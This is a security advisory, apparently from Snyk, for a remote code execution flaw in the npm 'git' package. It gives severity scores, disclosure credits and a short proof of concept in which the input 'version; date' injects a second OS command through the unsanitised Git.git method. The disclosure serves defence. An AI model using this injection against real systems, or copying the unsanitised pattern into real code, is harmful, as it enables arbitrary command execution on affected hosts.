Remote Code Execution (RCE) Affecting git package, versions *


0.0
medium
0
10

Snyk CVSS

    Attack Complexity High
    Privileges Required High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    EPSS 0.69% (81st percentile)
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NVD
9.8 critical

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  • Snyk ID SNYK-JS-GIT-1568518
  • published 18 Oct 2021
  • disclosed 23 Aug 2021
  • credit Paul-Emmanuel Raoul of SkypLabs

How to fix?

There is no fixed version for git.

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands.

Steps to Reproduce

  1. Create a file named exploit.js with the following content:

    var Git = require("git").Git;
    
    

    var repo = new Git("repo-test");

    var user_input = "version; date";

    repo.git(user_input, function(err, result) { console.log(result); })

  2. In the same directory as exploit.js, run npm install git.

  3. Run exploit.js: node exploit.js.

You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.